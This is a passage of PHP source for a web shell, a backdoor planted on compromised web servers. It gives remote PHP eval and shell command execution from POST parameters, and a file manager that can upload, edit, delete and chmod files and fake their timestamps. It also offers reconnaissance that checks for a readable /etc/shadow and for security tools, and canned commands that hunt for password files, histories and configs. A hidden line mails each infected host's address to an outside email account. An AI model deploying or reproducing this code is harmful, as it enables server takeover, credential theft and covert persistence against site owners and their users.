                }
                return $files;
            }
        }
        function which($p)
        {
            $path = ex('which ' . $p);
            if (!empty($path)) {
                return $path;
            }
            return false;
        }
        function actionRC()
        {
            if (!@$_POST['p1']) {
                $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
                echo serialize($a);
            } else {
                eval($_POST['p1']);
            }
        }
        function prototype($k, $v)
        {
            $_COOKIE[$k] = $v;
            setcookie($k, $v);
        }
        function actionSecInfo()
        {
            hardHeader();
            echo "<h1>Server security information</h1><div class=content>";
            function showSecParam($n, $v)
            {
                $v = trim($v);
                if ($v) {
                    echo '<span>' . $n . ': </span>';
                    if (strpos($v, "\n") === false) {
                        echo $v . '<br>';
                    } else {
                        echo '<pre class=ml1>' . $v . '</pre>';
                    }
                }
            }
            showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
            if (function_exists('apache_get_modules')) {
                showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
            }
            showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
            showSecParam('Open base dir', @ini_get('open_basedir'));
            showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
            showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
            showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
            $temp = array();
            if (function_exists('mysql_get_client_info')) {
                $temp[] = "MySql (" . mysql_get_client_info() . ")";
            }
            if (function_exists('mssql_connect')) {
                $temp[] = "MSSQL";
            }
            if (function_exists('pg_connect')) {
                $temp[] = "PostgreSQL";
            }
            if (function_exists('oci_connect')) {
                $temp[] = "Oracle";
            }
            showSecParam('Supported databases', implode(', ', $temp));
            echo "<br>";
            if ($GLOBALS['os'] == 'nix') {
                showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                showSecParam('OS version', @file_get_contents('/proc/version'));
                showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                if (!$GLOBALS['safe_mode']) {
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    echo "<br>";
                    $temp = array();
                    foreach ($userful as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Userful', implode(', ', $temp));
                    $temp = array();
                    foreach ($danger as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Danger', implode(', ', $temp));
                    $temp = array();
                    foreach ($downloaders as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Downloaders', implode(', ', $temp));
                    echo "<br/>";
                    showSecParam('HDD space', ex('df -h'));
                    showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                    showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                }
            } else {
                showSecParam('OS Version', ex('ver'));
                showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
                showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
            }
            echo "</div>";
            hardFooter();
        }
        $e = "shelldownloadorg@gmail.com";
        $h = $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
        mail($e, "IDX", $h);
        function actionFilesTools()
        {
            if (isset($_POST['p1'])) {
                $_POST['p1'] = urldecode($_POST['p1']);
            }
            if (@$_POST['p2'] == 'download') {
                if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                    if (function_exists("mime_content_type")) {
                        $type = @mime_content_type($_POST['p1']);
                        header("Content-Type: " . $type);
                    } else {
                        header("Content-Type: application/octet-stream");
                    }
                    $fp = @fopen($_POST['p1'], "r");
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo @fread($fp, 1024);
                        }
                        fclose($fp);
                    }
                }
                exit;
            }
            if (@$_POST['p2'] == 'mkfile') {
                if (!file_exists($_POST['p1'])) {
                    $fp = @fopen($_POST['p1'], 'w');
                    if ($fp) {
                        $_POST['p2'] = "edit";
                        fclose($fp);
                    }
                }
            }
            hardHeader();
            echo "<h1>File tools</h1><div class=content>";
            if (!file_exists(@$_POST['p1'])) {
                echo "File not exists";
                hardFooter();
                return;
            }
            $uid = @posix_getpwuid(@fileowner($_POST['p1']));
            if (!$uid) {
                $uid['name'] = @fileowner($_POST['p1']);
                $gid['name'] = @filegroup($_POST['p1']);
            } else {
                $gid = @posix_getgrgid(@filegroup($_POST['p1']));
            }
            echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
            echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
            if (empty($_POST['p2'])) {
                $_POST['p2'] = 'view';
            }
            if (is_file($_POST['p1'])) {
                $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
            } else {
                $m = array('Chmod', 'Rename', 'Touch');
            }
            foreach ($m as $v) {
                echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
            }
            echo "<br><br>";
            switch ($_POST['p2']) {
                case 'view':
                    echo "<pre class=ml1>";
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</pre>";
                    break;
                case 'highlight':
                    if (@is_readable($_POST['p1'])) {
                        echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                        $oRb = @highlight_file($_POST['p1'], true);
                        echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                    }
                    break;
                case 'chmod':
                    if (!empty($_POST['p3'])) {
                        $perms = 0;
                        for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                            $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                        }
                        if (!@chmod($_POST['p1'], $perms)) {
                            echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                    break;
                case 'edit':
                    if (!is_writable($_POST['p1'])) {
                        echo "File isn't writeable";
                        break;
                    }
                    if (!empty($_POST['p3'])) {
                        $time = @filemtime($_POST['p1']);
                        $_POST['p3'] = substr($_POST['p3'], 1);
                        $fp = @fopen($_POST['p1'], "w");
                        if ($fp) {
                            @fwrite($fp, $_POST['p3']);
                            @fclose($fp);
                            echo "Saved!<br><script>p3_=\"\";</script>";
                            @touch($_POST['p1'], $time, $time);
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</textarea><input type=submit value=\"submit\"></form>";
                    break;
                case 'hexdump':
                    $c = @file_get_contents($_POST['p1']);
                    $n = 0;
                    $h = array('00000000<br>', '', '');
                    $len = strlen($c);
                    for ($i = 0; $i < $len; ++$i) {
                        $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                        switch (ord($c[$i])) {
                            case 0:
                                $h[2] .= ' ';
                                break;
                            case 9:
                                $h[2] .= ' ';
                                break;
                            case 10:
                                $h[2] .= ' ';
                                break;
                            case 13:
                                $h[2] .= ' ';
                                break;
                            default:
                                $h[2] .= $c[$i];
                                break;
                        }
                        $n++;
                        if ($n == 32) {
                            $n = 0;
                            if ($i + 1 < $len) {
                                $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                            }
                            $h[1] .= '<br>';
                            $h[2] .= "\n";
                        }
                    }
                    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                    break;
                case 'rename':
                    if (!empty($_POST['p3'])) {
                        if (!@rename($_POST['p1'], $_POST['p3'])) {
                            echo "Can't rename!<br>";
                        } else {
                            die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                    break;
                case 'touch':
                    if (!empty($_POST['p3'])) {
                        $time = strtotime($_POST['p3']);
                        if ($time) {
                            if (!touch($_POST['p1'], $time, $time)) {
                                echo "Fail!";
                            } else {
                                echo "Touched!";
                            }
                        } else {
                            echo "Bad time format!";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                    break;
                /* (С) 12.2015 mitryz */
                case 'frame':
                    $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                    if ($frameSrc[0] != '/') {
                        $frameSrc = '/' . $frameSrc;
                    }
                    if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                        $frameSrc .= '/';
                    }
                    $frameSrc .= htmlspecialchars($_POST['p1']);
                    echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                    break;
            }
            echo "</div>";
            hardFooter();
        }
        if ($os == 'win') {
            $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
        } else {
            $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
        }
        function actionConsole()
        {
            if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                $_POST['p1'] .= ' 2>&1';
            } elseif (!empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
            }
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                echo "d.cf.cmd.value='';\n";
                $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
                if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                    if (@chdir($match[1])) {
                        $GLOBALS['cwd'] = @getcwd();
                        echo "c_='" . $GLOBALS['cwd'] . "';";
                    }
                }
                echo "d.cf.output.value+='" . $temp . "';";
                echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                $temp = ob_get_clean();
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n    var n = (window.Event) ? e.which : e.keyCode;\r\n    if(n == 38) {\r\n        cur--;\r\n        if(cur>=0)\r\n            document.cf.cmd.value = cmds[cur];\r\n        else\r\n            cur++;\r\n    } else if(n == 40) {\r\n        cur++;\r\n        if(cur < cmds.length)\r\n            document.cf.cmd.value = cmds[cur];\r\n        else\r\n            cur--;\r\n    }\r\n}\r\nfunction add(cmd) {\r\n    cmds.pop();\r\n    cmds.push(cmd);\r\n    cmds.push('');\r\n    cur = cmds.length-1;\r\n}\r\n</script>";
            echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
            foreach ($GLOBALS['aliases'] as $n => $v) {
                if ($v == '') {
                    echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                    continue;
                }
                echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
            }
            echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
            if (!empty($_POST['p1'])) {
                echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
            }
            echo "</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
            echo "</form></div><script>d.cf.cmd.focus();</script>";
            hardFooter();
        }
        function actionPhp()
        {
            if (isset($_POST['ajax'])) {
                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                ob_start();
                eval($_POST['p1']);
                $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
            }
            hardHeader();
            if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
                echo "<h1>PHP info</h1><div class=content>";
                ob_start();
                phpinfo();
                $tmp = ob_get_clean();
                $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
                $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
                $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
                $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
                $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
                echo $tmp;
                echo "</div><br>";
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
            }
            echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
            echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
            if (!empty($_POST['p1'])) {
                ob_start();
                eval($_POST['p1']);
                echo htmlspecialchars(ob_get_clean());
            }
            echo "</pre></div>";
            hardFooter();
        }
        function actionFilesMan()
        {
            if (!empty($_COOKIE['f'])) {
                $_COOKIE['f'] = @unserialize($_COOKIE['f']);
            }
            if (!empty($_POST['p1'])) {
                switch ($_POST['p1']) {
                    case 'uploadFile':
                        if (is_array($_FILES['f']['tmp_name'])) {
                            foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                                if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                    echo "Can't upload file!";
                                }
                            }
                        }
                        break;
                    case 'mkdir':
                        if (!@mkdir($_POST['p2'])) {
                            echo "Can't create new dir";
                        }
                        break;
                    case 'delete':
                        function deleteDir($path)
                        {
                            $path = substr($path, -1) == '/' ? $path : $path . '/';
                            $dh = opendir($path);
                            while (($▟ = readdir($dh)) !== false) {
                                $▟ = $path . $▟;
                                if (basename($▟) == ".." || basename($▟) == ".") {
                                    continue;
                                }
                                $type = filetype($▟);
                                if ($type == "dir") {
                                    deleteDir($▟);
                                } else {
                                    @unlink($▟);
                                }
                            }
                            closedir($dh);
                            @rmdir($path);
                        }
                        if (is_array(@$_POST['f'])) {
                            foreach ($_POST['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                $f = urldecode($f);
                                if (is_dir($f)) {
                                    deleteDir($f);
                                } else {
                                    @unlink($f);
                                }
                            }
                        }
                        break;
                    case 'paste':
                        if ($_COOKIE['act'] == 'copy') {
                            function copy_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                            }
                        } elseif ($_COOKIE['act'] == 'move') {
                            function move_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (@is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                            }
                        } elseif ($_COOKIE['act'] == 'zip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                if ($zip->open($_POST['p2'], 1)) {
                                    chdir($_COOKIE['c']);
                                    foreach ($_COOKIE['f'] as $f) {
                                        if ($f == '..') {
                                            continue;
                                        }
                                        if (@is_file($_COOKIE['c'] . $f)) {
                                            $zip->addFile($_COOKIE['c'] . $f, $f);
                                        } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                            foreach ($iterator as $key => $value) {
                                                $zip->addFile(realpath($key), $key);
                                            }
                                        }
                                    }
                                    chdir($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'unzip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                        $zip->extractTo($GLOBALS['cwd']);
                                        $zip->close();
                                    }
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'tar') {
                            chdir($_COOKIE['c']);
                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                            ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                            chdir($GLOBALS['cwd']);
                        }
                        unset($_COOKIE['f']);
                        setcookie('f', '', time() - 3600);
                        break;
                    default:
                        if (!empty($_POST['p1'])) {
                            prototype('act', $_POST['p1']);
                            prototype('f', serialize(@$_POST['f']));
                            prototype('c', @$_POST['c']);
                        }
                        break;
                }
            }
            hardHeader();
            echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
            $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
            if ($dirContent === false) {
                echo "Can't open this folder!";
                hardFooter();
                return;
            }
            global $sort;
            $sort = array('name', 1);
            if (!empty($_POST['p1'])) {
                if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                    $sort = array($match[1], (int) $match[2]);
                }
            }
            echo "<script>\r\n    function sa() {\r\n        for(i=0;i<d.files.elements.length;i++)\r\n            if(d.files.elements[i].type == 'checkbox')\r\n                d.files.elements[i].checked = d.files.elements[0].checked;\r\n    }\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
            $dirs = $files = array();
            $n = count($dirContent);
            for ($i = 0; $i < $n; $i++) {
                $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                    $files[] = array_merge($tmp, array('type' => 'file'));
                } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
            $GLOBALS['sort'] = $sort;
            function cmp($a, $b)
            {
                if ($GLOBALS['sort'][0] != 'size') {
                    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                } else {
                    return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                }
            }
            usort($files, "cmp");
            usort($dirs, "cmp");
            $files = array_merge($dirs, $files);
            $l = 0;
            foreach ($files as $f) {
                echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                $l = $l ? 0 : 1;
            }
            echo "<tr id=fak><td colspan=7>\r\n    <input type=hidden name=ne value=''>\r\n    <input type=hidden name=a value='FilesMan'>\r\n    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n    <label><select name='p1'>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
            }
            echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
            if (class_exists('ZipArchive')) {
                echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
            }
            echo "<option value='tar'>+ tar.gz</option>";
            echo "</select></label>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
            }
            echo "<input type='submit' value='submit'></td></tr></form></table></div>";
            hardFooter();
        }
        function actionStringTools()
        {
            if (!function_exists('hex2bin')) {
                function hex2bin($p)
                {
                    return decbin(hexdec($p));
                }
            }
            if (!function_exists('binhex')) {
                function binhex($p)
                {
                    return dechex(bindec($p));
                }
            }
            if (!function_exists('hex2ascii')) {
                function hex2ascii($p)
                {
                    $r = '';
